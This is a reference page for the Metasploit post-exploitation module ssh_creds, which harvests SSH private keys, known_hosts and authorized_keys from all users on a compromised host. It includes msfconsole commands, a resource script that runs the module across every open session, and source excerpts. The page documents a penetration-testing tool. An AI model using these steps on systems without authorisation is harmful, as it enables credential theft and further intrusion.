Multi Gather OpenSSH PKI Credentials Collection - Metasploit


This page contains detailed information about how to use the post/multi/gather/ssh_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Multi Gather OpenSSH PKI Credentials Collection
Module: post/multi/gather/ssh_creds
Source code: modules/post/multi/gather/ssh_creds.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect the contents of all users' .ssh directories on the targeted machine. Additionally, known_hosts and authorized_keys and any other files are also downloaded. This module is largely based on firefox_creds.rb.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/ssh_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/ssh_creds
msf post(ssh_creds) > show options
    ... show and set options ...
msf post(ssh_creds) > set SESSION session-id
msf post(ssh_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/ssh_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage

Here is how the multi/gather/ssh_creds post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/ssh_creds

msf6 post(multi/gather/ssh_creds) > show info

       Name: Multi Gather OpenSSH PKI Credentials Collection
     Module: post/multi/gather/ssh_creds
   Platform: BSD, Linux, OSX, Unix
       Arch: 
       Rank: Normal

Provided by:
  Jim Halfpenny

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect the contents of all users' .ssh directories 
  on the targeted machine. Additionally, known_hosts and 
  authorized_keys and any other files are also downloaded. This module 
  is largely based on firefox_creds.rb.

Module Options

This is a complete list of options available in the multi/gather/ssh_creds post exploitation module:

msf6 post(multi/gather/ssh_creds) > show options

Module options (post/multi/gather/ssh_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the multi/gather/ssh_creds post exploitation module:

msf6 post(multi/gather/ssh_creds) > show advanced

Module advanced options (post/multi/gather/ssh_creds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the multi/gather/ssh_creds module can do:

msf6 post(multi/gather/ssh_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the multi/gather/ssh_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/ssh_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No users found with a .ssh directory

Here is a relevant code snippet related to the "No users found with a .ssh directory" error message:

32:	    paths = enum_user_directories.map { |d| d + "/.ssh" }
33:	    # Array#select! is only in 1.9
34:	    paths = paths.select { |d| directory?(d) }
35:	
36:	    if paths.nil? or paths.empty?
37:	      print_error("No users found with a .ssh directory")
38:	      return
39:	    end
40:	
41:	    print_status("Looting #{paths.count} .ssh directories")
42:	    download_loot(paths)

Cannot access directory: <PATH> . Missing execute permission. Skipping.

Here is a relevant code snippet related to the "Cannot access directory: <PATH> . Missing execute permission. Skipping." error message:

47:	      path.chomp!
48:	
49:	      print_status("Looting #{path} directory")
50:	
51:	      unless executable?(path)
52:	        print_warning("Cannot access directory: #{path} . Missing execute permission. Skipping.")
53:	        next
54:	      end
55:	
56:	      if session.type == "meterpreter"
57:	        sep = session.fs.file.separator

Cannot read file: <FILE_PATH> . Missing read permission. Skipping.

Here is a relevant code snippet related to the "Cannot read file: <FILE_PATH> . Missing read permission. Skipping." error message:

68:	        next if [".", ".."].include?(file)
69:	
70:	        file_path = "#{path}#{sep}#{file}"
71:	
72:	        unless readable?(file_path)
73:	          print_warning("Cannot read file: #{file_path} . Missing read permission. Skipping.")
74:	          next
75:	        end
76:	
77:	        data = read_file("#{path}#{sep}#{file}")
78:	        file = file.split(sep).last

Could not load SSH Key: <E.MESSAGE>

Here is a relevant code snippet related to the "Could not load SSH Key: <E.MESSAGE>" error message:

95:	              workspace_id: myworkspace_id
96:	            }
97:	
98:	            create_credential(credential_data)
99:	          rescue OpenSSL::OpenSSLError => e
100:	            print_error("Could not load SSH Key: #{e.message}")
101:	          end
102:	        end
103:	      end
104:	    end
105:	  end

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

  • Jim Halfpenny

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.